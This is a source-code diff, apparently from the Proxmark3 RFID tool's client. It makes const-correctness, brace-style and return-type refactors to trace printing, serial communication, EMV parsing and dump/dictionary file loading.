char *pos1 = line[(data_len - 1) / 18] + (((data_len - 1) % 18) * 4) + offset - 1; char *pos1 = line[(data_len - 1) / 18] + (((data_len - 1) % 18) * 4) + offset - 1;
@ -989,7 +986,6 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr
// handle partial bytes. The parity array[0] is used to store number of left over bits from NBYTES // handle partial bytes. The parity array[0] is used to store number of left over bits from NBYTES
// This part prints the number of bits in the trace entry for hitag. // This part prints the number of bits in the trace entry for hitag.
uint8_t nbits = parityBytes[0]; uint8_t nbits = parityBytes[0];
annotateHitag2(explanation, sizeof(explanation), ht2plain, n, nbits, hdr->isResponse, NULL, 0, true); annotateHitag2(explanation, sizeof(explanation), ht2plain, n, nbits, hdr->isResponse, NULL, 0, true);
// iceman: colorise crc bytes here will need a refactor of code from above. // iceman: colorise crc bytes here will need a refactor of code from above.
@ -1000,19 +996,13 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr
// only apply this to lesser than one byte // only apply this to lesser than one byte
if (n == 1) { if (n == 1) {
if (nbits == 5) {
snprintf(line[0], 120, "%2u: %02X ", nbits, ht2plain[0] >> (8 - nbits)); snprintf(line[0], 120, "%2u: %02X ", nbits, ht2plain[0] >> (8 - nbits));
} else {
snprintf(line[0], 120, "%2u: %02X ", nbits, ht2plain[0] >> (8 - nbits));
}
} else { } else {
if (nbits == 0) { if (nbits == 0) {
snprintf(line[0], 120, "%2u: %02X ", (n * 8), ht2plain[0]); snprintf(line[0], 120, "%2u: %02X ", (uint16_t)(n * 8), ht2plain[0]);
} else { } else {
snprintf(line[0], 120, "%2u: %02X ", ((n - 1) * 8) + nbits, ht2plain[0]); snprintf(line[0], 120, "%2u: %02X ", (uint16_t)(((n - 1) * 8) + nbits), ht2plain[0]);
} }
} }
offset = 4; offset = 4;
@ -1049,7 +1039,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr
if (showWaitCycles && hdr->isResponse == false && next_record_is_response(tracepos, trace)) { if (showWaitCycles && hdr->isResponse == false && next_record_is_response(tracepos, trace)) {
tracelog_hdr_t *next_hdr = (tracelog_hdr_t *)(trace + tracepos); const tracelog_hdr_t *next_hdr = (tracelog_hdr_t *)(trace + tracepos);
uint32_t time1 = end_of_transmission_timestamp - first_hdr->timestamp; uint32_t time1 = end_of_transmission_timestamp - first_hdr->timestamp;
uint32_t time2 = next_hdr->timestamp - first_hdr->timestamp; uint32_t time2 = next_hdr->timestamp - first_hdr->timestamp;

View file

@ -24,6 +24,6 @@
int CmdTrace(const char *Cmd); int CmdTrace(const char *Cmd);
int CmdTraceList(const char *Cmd); int CmdTraceList(const char *Cmd);
int CmdTraceListAlias(const char *Cmd, const char *alias, const char *protocol); int CmdTraceListAlias(const char *Cmd, const char *alias, const char *protocol);
bool ImportTraceBuffer(uint8_t *trace_src, uint16_t trace_len); bool ImportTraceBuffer(const uint8_t *trace_src, uint16_t trace_len);
#endif #endif

View file

@ -87,7 +87,7 @@ void SendCommandBL(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, vo
SendCommandOLD(cmd, arg0, arg1, arg2, data, len); SendCommandOLD(cmd, arg0, arg1, arg2, data, len);
} }
void SendCommandOLD(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) { void SendCommandOLD(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len) {
PacketCommandOLD c = {CMD_UNKNOWN, {0, 0, 0}, {{0}}}; PacketCommandOLD c = {CMD_UNKNOWN, {0, 0, 0}, {{0}}};
c.cmd = cmd; c.cmd = cmd;
c.arg[0] = arg0; c.arg[0] = arg0;
@ -161,8 +161,9 @@ static void SendCommandNG_internal(uint16_t cmd, uint8_t *data, size_t len, bool
txBufferNG.pre.ng = ng; txBufferNG.pre.ng = ng;
txBufferNG.pre.length = len; txBufferNG.pre.length = len;
txBufferNG.pre.cmd = cmd; txBufferNG.pre.cmd = cmd;
if (len > 0 && data) if (len > 0 && data) {
memcpy(&txBufferNG.data, data, len); memcpy(&txBufferNG.data, data, len);
}
if ((g_conn.send_via_fpc_usart && g_conn.send_with_crc_on_fpc) || ((!g_conn.send_via_fpc_usart) && g_conn.send_with_crc_on_usb)) { if ((g_conn.send_via_fpc_usart && g_conn.send_with_crc_on_fpc) || ((!g_conn.send_via_fpc_usart) && g_conn.send_with_crc_on_usb)) {
uint8_t first = 0, second = 0; uint8_t first = 0, second = 0;
@ -198,7 +199,7 @@ void SendCommandNG(uint16_t cmd, uint8_t *data, size_t len) {
SendCommandNG_internal(cmd, data, len, true); SendCommandNG_internal(cmd, data, len, true);
} }
void SendCommandMIX(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) { void SendCommandMIX(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len) {
uint64_t arg[3] = {arg0, arg1, arg2}; uint64_t arg[3] = {arg0, arg1, arg2};
if (len > PM3_CMD_DATA_SIZE_MIX) { if (len > PM3_CMD_DATA_SIZE_MIX) {
PrintAndLogEx(WARNING, "Sending %zu bytes of payload is too much for MIX frames, abort", len); PrintAndLogEx(WARNING, "Sending %zu bytes of payload is too much for MIX frames, abort", len);
@ -228,7 +229,7 @@ void clearCommandBuffer(void) {
* @brief storeCommand stores a USB command in a circular buffer * @brief storeCommand stores a USB command in a circular buffer
* @param UC * @param UC
*/ */
static void storeReply(PacketResponseNG *packet) { static void storeReply(const PacketResponseNG *packet) {
pthread_mutex_lock(&rxBufferMutex); pthread_mutex_lock(&rxBufferMutex);
if ((cmd_head + 1) % CMD_BUFFER_SIZE == cmd_tail) { if ((cmd_head + 1) % CMD_BUFFER_SIZE == cmd_tail) {
//If these two are equal, we're about to overwrite in the //If these two are equal, we're about to overwrite in the
@ -296,7 +297,7 @@ static void PacketResponseReceived(PacketResponseNG *packet) {
uint16_t flag; uint16_t flag;
uint8_t buf[PM3_CMD_DATA_SIZE - sizeof(uint16_t)]; uint8_t buf[PM3_CMD_DATA_SIZE - sizeof(uint16_t)];
} PACKED; } PACKED;
struct d *data = (struct d *)&packet->data.asBytes; const struct d *data = (struct d *)&packet->data.asBytes;
len = packet->length - sizeof(data->flag); len = packet->length - sizeof(data->flag);
flag = data->flag; flag = data->flag;
memcpy(s, data->buf, len); memcpy(s, data->buf, len);
@ -350,7 +351,7 @@ static void PacketResponseReceived(PacketResponseNG *packet) {
// When communication thread is dead, start up and try to start it again // When communication thread is dead, start up and try to start it again
void *uart_reconnect(void *targ) { void *uart_reconnect(void *targ) {
communication_arg_t *connection = (communication_arg_t *)targ; const communication_arg_t *connection = (communication_arg_t *)targ;
#if defined(__MACH__) && defined(__APPLE__) #if defined(__MACH__) && defined(__APPLE__)
disableAppNap("Proxmark3 polling UART"); disableAppNap("Proxmark3 polling UART");
@ -405,7 +406,7 @@ __attribute__((force_align_arg_pointer))
#endif #endif
#endif #endif
*uart_communication(void *targ) { *uart_communication(void *targ) {
communication_arg_t *connection = (communication_arg_t *)targ; const communication_arg_t *connection = (communication_arg_t *)targ;
uint32_t rxlen; uint32_t rxlen;
bool commfailed = false; bool commfailed = false;
PacketResponseNG rx; PacketResponseNG rx;
@ -474,12 +475,15 @@ __attribute__((force_align_arg_pointer))
res = uart_receive(sp, (uint8_t *)&rx_raw.pre, sizeof(PacketResponseNGPreamble), &rxlen); res = uart_receive(sp, (uint8_t *)&rx_raw.pre, sizeof(PacketResponseNGPreamble), &rxlen);
if ((res == PM3_SUCCESS) && (rxlen == sizeof(PacketResponseNGPreamble))) { if ((res == PM3_SUCCESS) && (rxlen == sizeof(PacketResponseNGPreamble))) {
rx.magic = rx_raw.pre.magic; rx.magic = rx_raw.pre.magic;
uint16_t length = rx_raw.pre.length; uint16_t length = rx_raw.pre.length;
rx.ng = rx_raw.pre.ng; rx.ng = rx_raw.pre.ng;
rx.status = rx_raw.pre.status; rx.status = rx_raw.pre.status;
rx.cmd = rx_raw.pre.cmd; rx.cmd = rx_raw.pre.cmd;
if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply
if (length > PM3_CMD_DATA_SIZE) { if (length > PM3_CMD_DATA_SIZE) {
PrintAndLogEx(WARNING, "Received packet frame with incompatible length: 0x%04x", length); PrintAndLogEx(WARNING, "Received packet frame with incompatible length: 0x%04x", length);
error = true; error = true;
@ -488,30 +492,38 @@ __attribute__((force_align_arg_pointer))
if ((!error) && (length > 0)) { // Get the variable length payload if ((!error) && (length > 0)) { // Get the variable length payload
res = uart_receive(sp, (uint8_t *)&rx_raw.data, length, &rxlen); res = uart_receive(sp, (uint8_t *)&rx_raw.data, length, &rxlen);
if ((res != PM3_SUCCESS) || (rxlen != length)) { if ((res != PM3_SUCCESS) || (rxlen != length)) {
PrintAndLogEx(WARNING, "Received packet frame with variable part too short? %d/%d", rxlen, length); PrintAndLogEx(WARNING, "Received packet frame with variable part too short? %d/%d", rxlen, length);
error = true; error = true;
} else { } else {
if (rx.ng) { // Received a valid NG frame if (rx.ng) { // Received a valid NG frame
memcpy(&rx.data, &rx_raw.data, length); memcpy(&rx.data, &rx_raw.data, length);
rx.length = length; rx.length = length;
if ((rx.cmd == g_conn.last_command) && (rx.status == PM3_SUCCESS)) { if ((rx.cmd == g_conn.last_command) && (rx.status == PM3_SUCCESS)) {
ACK_received = true; ACK_received = true;
} }
} else { } else {
uint64_t arg[3]; uint64_t arg[3];
if (length < sizeof(arg)) { if (length < sizeof(arg)) {
PrintAndLogEx(WARNING, "Received MIX packet frame with incompatible length: 0x%04x", length); PrintAndLogEx(WARNING, "Received MIX packet frame with incompatible length: 0x%04x", length);
error = true; error = true;
} }
if (!error) { // Received a valid MIX frame if (!error) { // Received a valid MIX frame
memcpy(arg, &rx_raw.data, sizeof(arg)); memcpy(arg, &rx_raw.data, sizeof(arg));
rx.oldarg[0] = arg[0]; rx.oldarg[0] = arg[0];
rx.oldarg[1] = arg[1]; rx.oldarg[1] = arg[1];
rx.oldarg[2] = arg[2]; rx.oldarg[2] = arg[2];
memcpy(&rx.data, ((uint8_t *)&rx_raw.data) + sizeof(arg), length - sizeof(arg)); memcpy(&rx.data, ((uint8_t *)&rx_raw.data) + sizeof(arg), length - sizeof(arg));
rx.length = length - sizeof(arg); rx.length = length - sizeof(arg);
if (rx.cmd == CMD_ACK) { if (rx.cmd == CMD_ACK) {
ACK_received = true; ACK_received = true;
} }
@ -519,12 +531,14 @@ __attribute__((force_align_arg_pointer))
} }
} }
} else if ((!error) && (length == 0)) { // we received an empty frame } else if ((!error) && (length == 0)) { // we received an empty frame
if (rx.ng)
if (rx.ng) {
rx.length = 0; // set received length to 0 rx.length = 0; // set received length to 0
else { // old frames can't be empty } else { // old frames can't be empty
PrintAndLogEx(WARNING, "Received empty MIX packet frame (length: 0x00)"); PrintAndLogEx(WARNING, "Received empty MIX packet frame (length: 0x00)");
error = true; error = true;
} }
} }
if (!error) { // Get the postamble if (!error) { // Get the postamble
@ -537,9 +551,12 @@ __attribute__((force_align_arg_pointer))
if (!error) { // Check CRC, accept MAGIC as placeholder if (!error) { // Check CRC, accept MAGIC as placeholder
rx.crc = rx_raw.foopost.crc; rx.crc = rx_raw.foopost.crc;
if (rx.crc != RESPONSENG_POSTAMBLE_MAGIC) { if (rx.crc != RESPONSENG_POSTAMBLE_MAGIC) {
uint8_t first, second; uint8_t first, second;
compute_crc(CRC_14443_A, (uint8_t *)&rx_raw, sizeof(PacketResponseNGPreamble) + length, &first, &second); compute_crc(CRC_14443_A, (uint8_t *)&rx_raw, sizeof(PacketResponseNGPreamble) + length, &first, &second);
if ((first << 8) + second != rx.crc) { if ((first << 8) + second != rx.crc) {
PrintAndLogEx(WARNING, "Received packet frame with invalid CRC %02X%02X <> %04X", first, second, rx.crc); PrintAndLogEx(WARNING, "Received packet frame with invalid CRC %02X%02X <> %04X", first, second, rx.crc);
error = true; error = true;
@ -686,7 +703,7 @@ bool IsCommunicationThreadDead(void) {
bool SetCommunicationReceiveMode(bool isRawMode) { bool SetCommunicationReceiveMode(bool isRawMode) {
if (isRawMode) { if (isRawMode) {
uint8_t *buffer = __atomic_load_n(&comm_raw_data, __ATOMIC_SEQ_CST); const uint8_t *buffer = __atomic_load_n(&comm_raw_data, __ATOMIC_SEQ_CST);
if (buffer == NULL) { if (buffer == NULL) {
PrintAndLogEx(ERR, "Buffer for raw data is not set"); PrintAndLogEx(ERR, "Buffer for raw data is not set");
return false; return false;
@ -850,7 +867,7 @@ int TestProxmark(pm3_device_t *dev) {
return PM3_EDEVNOTSUPP; return PM3_EDEVNOTSUPP;
} }
memcpy(&g_pm3_capabilities, resp.data.asBytes, MIN(sizeof(capabilities_t), resp.length)); memcpy(&g_pm3_capabilities, resp.data.asBytes, sizeof(capabilities_t));
g_conn.send_via_fpc_usart = g_pm3_capabilities.via_fpc; g_conn.send_via_fpc_usart = g_pm3_capabilities.via_fpc;
g_conn.uart_speed = g_pm3_capabilities.baudrate; g_conn.uart_speed = g_pm3_capabilities.baudrate;

View file

@ -96,9 +96,9 @@ void *uart_reconnect(void *targ);
void *uart_receiver(void *targ); void *uart_receiver(void *targ);
void SendCommandBL(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); void SendCommandBL(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len);
void SendCommandOLD(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); void SendCommandOLD(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len);
void SendCommandNG(uint16_t cmd, uint8_t *data, size_t len); void SendCommandNG(uint16_t cmd, uint8_t *data, size_t len);
void SendCommandMIX(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); void SendCommandMIX(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len);
void clearCommandBuffer(void); void clearCommandBuffer(void);
#define FLASHMODE_SPEED 460800 #define FLASHMODE_SPEED 460800

View file

@ -292,7 +292,7 @@ static int emv_parse_track1(const uint8_t *d, size_t n, bool verbose) {
// decoder // decoder
char *tmp = str_ndup((const char *)d, n); char *tmp = str_ndup((const char *)d, n);
uint8_t i = 0; uint8_t i = 0;
char delim[2] = "^"; const char delim[2] = "^";
char *token = strtok(tmp, delim); char *token = strtok(tmp, delim);
while (token != NULL) { while (token != NULL) {

View file

@ -747,7 +747,7 @@ out:
int saveFileJSONroot(const char *preferredName, void *root, size_t flags, bool verbose) { int saveFileJSONroot(const char *preferredName, void *root, size_t flags, bool verbose) {
return saveFileJSONrootEx(preferredName, root, flags, verbose, false); return saveFileJSONrootEx(preferredName, root, flags, verbose, false);
} }
int saveFileJSONrootEx(const char *preferredName, void *root, size_t flags, bool verbose, bool overwrite) { int saveFileJSONrootEx(const char *preferredName, const void *root, size_t flags, bool verbose, bool overwrite) {
if (root == NULL) if (root == NULL)
return PM3_EINVARG; return PM3_EINVARG;
@ -863,7 +863,7 @@ out:
} }
// key file dump // key file dump
int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, sector_t *e_sector) { int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, const sector_t *e_sector) {
if (e_sector == NULL) return PM3_EINVARG; if (e_sector == NULL) return PM3_EINVARG;
@ -1743,7 +1743,7 @@ int loadFileJSONex(const char *preferredName, void *data, size_t maxdatalen, siz
goto out; goto out;
} }
snprintf(blocks, sizeof(blocks), "$.blocks.%d", i); snprintf(blocks, sizeof(blocks), "$.blocks.%u", i);
JsonLoadBufAsHex(root, blocks, &tag->data[sptr], 4, &len); JsonLoadBufAsHex(root, blocks, &tag->data[sptr], 4, &len);
if (load_file_sanity(ctype, tag->bytesPerPage, i, len) == false) { if (load_file_sanity(ctype, tag->bytesPerPage, i, len) == false) {
break; break;
@ -1790,7 +1790,7 @@ int loadFileJSONex(const char *preferredName, void *data, size_t maxdatalen, siz
goto out; goto out;
} }
snprintf(blocks, sizeof(blocks), "$.blocks.%d", i); snprintf(blocks, sizeof(blocks), "$.blocks.%u", i);
JsonLoadBufAsHex(root, blocks, &tag->data[sptr], 8, &len); JsonLoadBufAsHex(root, blocks, &tag->data[sptr], 8, &len);
if (load_file_sanity(ctype, tag->bytesPerPage, i, len) == false) { if (load_file_sanity(ctype, tag->bytesPerPage, i, len) == false) {
break; break;
@ -2162,14 +2162,18 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u
int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint32_t *keycnt, int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint32_t *keycnt,
size_t startFilePosition, size_t *endFilePosition, bool verbose) { size_t startFilePosition, size_t *endFilePosition, bool verbose) {
if (data == NULL) return PM3_EINVARG; if (data == NULL) {
return PM3_EINVARG;
}
if (endFilePosition) if (endFilePosition) {
*endFilePosition = 0; *endFilePosition = 0;
}
char *path; char *path;
if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) {
return PM3_EFILE; return PM3_EFILE;
}
// double up since its chars // double up since its chars
keylen <<= 1; keylen <<= 1;
@ -2201,8 +2205,9 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale
long filepos = ftell(f); long filepos = ftell(f);
if (!fgets(line, sizeof(line), f)) { if (!fgets(line, sizeof(line), f)) {
if (endFilePosition) if (endFilePosition) {
*endFilePosition = 0; *endFilePosition = 0;
}
break; break;
} }
@ -2210,39 +2215,50 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale
line[keylen] = 0; line[keylen] = 0;
// smaller keys than expected is skipped // smaller keys than expected is skipped
if (strlen(line) < keylen) if (strlen(line) < keylen) {
continue; continue;
}
// The line start with # is comment, skip // The line start with # is comment, skip
if (line[0] == '#') if (line[0] == '#') {
continue; continue;
}
if (!CheckStringIsHEXValue(line)) if (!CheckStringIsHEXValue(line)) {
continue; continue;
}
// cant store more data // cant store more data
if (maxdatalen && (counter + (keylen >> 1) > maxdatalen)) { if (maxdatalen && (counter + (keylen >> 1) > maxdatalen)) {
retval = 1; retval = 1;
if (endFilePosition) if (endFilePosition) {
*endFilePosition = filepos; *endFilePosition = filepos;
}
break; break;
} }
if (hex_to_bytes(line, udata + counter, keylen >> 1) != (keylen >> 1)) if (hex_to_bytes(line, udata + counter, keylen >> 1) != (keylen >> 1)) {
continue; continue;
}
vkeycnt++; vkeycnt++;
memset(line, 0, sizeof(line)); memset(line, 0, sizeof(line));
counter += (keylen >> 1); counter += (keylen >> 1);
} }
fclose(f);
if (verbose)
PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%2d") " keys from dictionary file `" _YELLOW_("%s") "`", vkeycnt, path);
if (datalen) fclose(f);
if (verbose) {
PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%2d") " keys from dictionary file `" _YELLOW_("%s") "`", vkeycnt, path);
}
if (datalen) {
*datalen = counter; *datalen = counter;
if (keycnt) }
if (keycnt) {
*keycnt = vkeycnt; *keycnt = vkeycnt;
}
out: out:
free(path); free(path);
return retval; return retval;
@ -2253,8 +2269,9 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key
int retval = PM3_SUCCESS; int retval = PM3_SUCCESS;
char *path; char *path;
if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) {
return PM3_EFILE; return PM3_EFILE;
}
// t5577 == 4bytes // t5577 == 4bytes
// mifare == 6 bytes // mifare == 6 bytes
@ -2311,15 +2328,18 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key
line[keylen] = 0; line[keylen] = 0;
// smaller keys than expected is skipped // smaller keys than expected is skipped
if (strlen(line) < keylen) if (strlen(line) < keylen) {
continue; continue;
}
// The line start with # is comment, skip // The line start with # is comment, skip
if (line[0] == '#') if (line[0] == '#') {
continue; continue;
}
if (!CheckStringIsHEXValue(line)) if (!CheckStringIsHEXValue(line)) {
continue; continue;
}
uint64_t key = strtoull(line, NULL, 16); uint64_t key = strtoull(line, NULL, 16);
@ -2330,6 +2350,7 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key
memset(line, 0, sizeof(line)); memset(line, 0, sizeof(line));
} }
fclose(f); fclose(f);
PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%2d") " keys from dictionary file `" _YELLOW_("%s") "`", *keycnt, path); PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%2d") " keys from dictionary file `" _YELLOW_("%s") "`", *keycnt, path);
out: out:
@ -2426,7 +2447,7 @@ mfu_df_e detect_mfu_dump_format(uint8_t **dump, bool verbose) {
// detect plain // detect plain
if (retval == MFU_DF_UNKNOWN) { if (retval == MFU_DF_UNKNOWN) {
uint8_t *plain = *dump; const uint8_t *plain = *dump;
bcc0 = ct ^ plain[0] ^ plain[1] ^ plain[2]; bcc0 = ct ^ plain[0] ^ plain[1] ^ plain[2];
bcc1 = plain[4] ^ plain[5] ^ plain[6] ^ plain[7]; bcc1 = plain[4] ^ plain[5] ^ plain[6] ^ plain[7];
if ((bcc0 == plain[3]) && (bcc1 == plain[8])) { if ((bcc0 == plain[3]) && (bcc1 == plain[8])) {
@ -2453,7 +2474,9 @@ mfu_df_e detect_mfu_dump_format(uint8_t **dump, bool verbose) {
return retval; return retval;
} }
nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) { int detect_nfc_dump_format(const char *preferredName, nfc_df_e *dump_type, bool verbose) {
*dump_type = NFC_DF_UNKNOWN;
char *path; char *path;
int res = searchFile(&path, RESOURCES_SUBDIR, preferredName, "", false); int res = searchFile(&path, RESOURCES_SUBDIR, preferredName, "", false);
@ -2469,8 +2492,6 @@ nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) {
} }
free(path); free(path);
nfc_df_e retval = NFC_DF_UNKNOWN;
char line[256]; char line[256];
memset(line, 0, sizeof(line)); memset(line, 0, sizeof(line));
@ -2492,31 +2513,31 @@ nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) {
str_lower(line); str_lower(line);
if (str_startswith(line, "device type: ntag")) { if (str_startswith(line, "device type: ntag")) {
retval = NFC_DF_MFU; *dump_type = NFC_DF_MFU;
break; break;
} }
if (str_startswith(line, "device type: mifare classic")) { if (str_startswith(line, "device type: mifare classic")) {
retval = NFC_DF_MFC; *dump_type = NFC_DF_MFC;
break; break;
} }
if (str_startswith(line, "device type: mifare desfire")) { if (str_startswith(line, "device type: mifare desfire")) {
retval = NFC_DF_MFDES; *dump_type = NFC_DF_MFDES;
break; break;
} }
if (str_startswith(line, "device type: iso14443-3a")) { if (str_startswith(line, "device type: iso14443-3a")) {
retval = NFC_DF_14_3A; *dump_type = NFC_DF_14_3A;
break; break;
} }
if (str_startswith(line, "device type: iso14443-3b")) { if (str_startswith(line, "device type: iso14443-3b")) {
retval = NFC_DF_14_3B; *dump_type = NFC_DF_14_3B;
break; break;
} }
if (str_startswith(line, "device type: iso14443-4a")) { if (str_startswith(line, "device type: iso14443-4a")) {
retval = NFC_DF_14_4A; *dump_type = NFC_DF_14_4A;
break; break;
} }
if (str_startswith(line, "filetype: flipper picopass device")) { if (str_startswith(line, "filetype: flipper picopass device")) {
retval = NFC_DF_PICOPASS; *dump_type = NFC_DF_PICOPASS;
break; break;
} }
@ -2524,7 +2545,7 @@ nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) {
fclose(f); fclose(f);
if (verbose) { if (verbose) {
switch (retval) { switch (*dump_type) {
case NFC_DF_MFU: case NFC_DF_MFU:
PrintAndLogEx(INFO, "Detected MIFARE Ultralight / NTAG based dump format"); PrintAndLogEx(INFO, "Detected MIFARE Ultralight / NTAG based dump format");
break; break;
@ -2551,7 +2572,7 @@ nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) {
break; break;
} }
} }
return retval; return PM3_SUCCESS;
} }
static int convert_plain_mfu_dump(uint8_t **dump, size_t *dumplen, bool verbose) { static int convert_plain_mfu_dump(uint8_t **dump, size_t *dumplen, bool verbose) {
@ -2996,15 +3017,20 @@ int pm3_load_dump(const char *fn, void **pdump, size_t *dumplen, size_t maxdumpl
break; break;
} }
case FLIPPER: { case FLIPPER: {
nfc_df_e foo = detect_nfc_dump_format(fn, true); nfc_df_e dumptype;
if (foo == NFC_DF_MFC || foo == NFC_DF_MFU || foo == NFC_DF_PICOPASS) { res = detect_nfc_dump_format(fn, &dumptype, true);
if (res != SUCCESS) {
break;
}
if (dumptype == NFC_DF_MFC || dumptype == NFC_DF_MFU || dumptype == NFC_DF_PICOPASS) {
*pdump = calloc(maxdumplen, sizeof(uint8_t)); *pdump = calloc(maxdumplen, sizeof(uint8_t));
if (*pdump == NULL) { if (*pdump == NULL) {
PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); PrintAndLogEx(WARNING, "Fail, cannot allocate memory");
return PM3_EMALLOC; return PM3_EMALLOC;
} }
res = loadFileNFC_safe(fn, *pdump, maxdumplen, dumplen, foo); res = loadFileNFC_safe(fn, *pdump, maxdumplen, dumplen, dumptype);
if (res == PM3_SUCCESS) { if (res == PM3_SUCCESS) {
return res; return res;
} }
@ -3016,6 +3042,9 @@ int pm3_load_dump(const char *fn, void **pdump, size_t *dumplen, size_t maxdumpl
} else if (res == PM3_EMALLOC) { } else if (res == PM3_EMALLOC) {
PrintAndLogEx(WARNING, "wrong size of allocated memory. Check your parameters"); PrintAndLogEx(WARNING, "wrong size of allocated memory. Check your parameters");
} }
} else {
// unknown dump file type
res = PM3_ESOFT;
} }
break; break;
} }

View file

@ -107,8 +107,8 @@ int fileExists(const char *filename);
bool setDefaultPath(savePaths_t pathIndex, const char *path); bool setDefaultPath(savePaths_t pathIndex, const char *path);
char *newfilenamemcopy(const char *preferredName, const char *suffix); char *newfilenamemcopy(const char *preferredName, const char *suffix);
char *newfilenamemcopyEx(const char *preferredName, const char *suffix, savePaths_t save_path); char *newfilenamemcopyEx(const char *preferredName, const char *suffix, savePaths_t e_save_path);
void truncate_filename(char *fn, uint16_t len); void truncate_filename(char *fn, uint16_t maxlen);
/** /**
@ -138,7 +138,7 @@ int saveFile(const char *preferredName, const char *suffix, const void *data, si
int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen, void (*callback)(json_t *)); int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen, void (*callback)(json_t *));
int saveFileJSONex(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen, bool verbose, void (*callback)(json_t *), savePaths_t e_save_path); int saveFileJSONex(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen, bool verbose, void (*callback)(json_t *), savePaths_t e_save_path);
int saveFileJSONroot(const char *preferredName, void *root, size_t flags, bool verbose); int saveFileJSONroot(const char *preferredName, void *root, size_t flags, bool verbose);
int saveFileJSONrootEx(const char *preferredName, void *root, size_t flags, bool verbose, bool overwrite); int saveFileJSONrootEx(const char *preferredName, const void *root, size_t flags, bool verbose, bool overwrite);
/** STUB /** STUB
* @brief Utility function to save WAVE data to a file. This method takes a preferred name, but if that * @brief Utility function to save WAVE data to a file. This method takes a preferred name, but if that
* file already exists, it tries with another name until it finds something suitable. * file already exists, it tries with another name until it finds something suitable.
@ -171,7 +171,7 @@ int saveFilePM3(const char *preferredName, int *data, size_t datalen);
* @param e_sector the keys in question * @param e_sector the keys in question
* @return 0 for ok, 1 for failz * @return 0 for ok, 1 for failz
*/ */
int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, sector_t *e_sector); int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, const sector_t *e_sector);
/** /**
* @brief Utility function to load data from a binary file. This method takes a preferred name. * @brief Utility function to load data from a binary file. This method takes a preferred name.
@ -289,7 +289,7 @@ int loadFileBinaryKey(const char *preferredName, const char *suffix, void **keya
*/ */
int convert_mfu_dump_format(uint8_t **dump, size_t *dumplen, bool verbose); int convert_mfu_dump_format(uint8_t **dump, size_t *dumplen, bool verbose);
mfu_df_e detect_mfu_dump_format(uint8_t **dump, bool verbose); mfu_df_e detect_mfu_dump_format(uint8_t **dump, bool verbose);
nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose); int detect_nfc_dump_format(const char *preferredName, nfc_df_e *dump_type, bool verbose);
int searchAndList(const char *pm3dir, const char *ext); int searchAndList(const char *pm3dir, const char *ext);
int searchFile(char **foundpath, const char *pm3dir, const char *searchname, const char *suffix, bool silent); int searchFile(char **foundpath, const char *pm3dir, const char *searchname, const char *suffix, bool silent);

View file

@ -32,6 +32,9 @@ int32_t g_OverlayBuffer[MAX_GRAPH_TRACE_LEN];
bool g_useOverlays = false; bool g_useOverlays = false;
size_t g_GraphTraceLen; size_t g_GraphTraceLen;
buffer_savestate_t g_saveState_gb; buffer_savestate_t g_saveState_gb;
marker_t g_MarkerA, g_MarkerB, g_MarkerC, g_MarkerD;
marker_t *g_TempMarkers;
uint8_t g_TempMarkerSize = 0;
/* write a manchester bit to the graph /* write a manchester bit to the graph
*/ */
@ -465,6 +468,47 @@ bool fskClocks(uint8_t *fc1, uint8_t *fc2, uint8_t *rf1, int *firstClockEdge) {
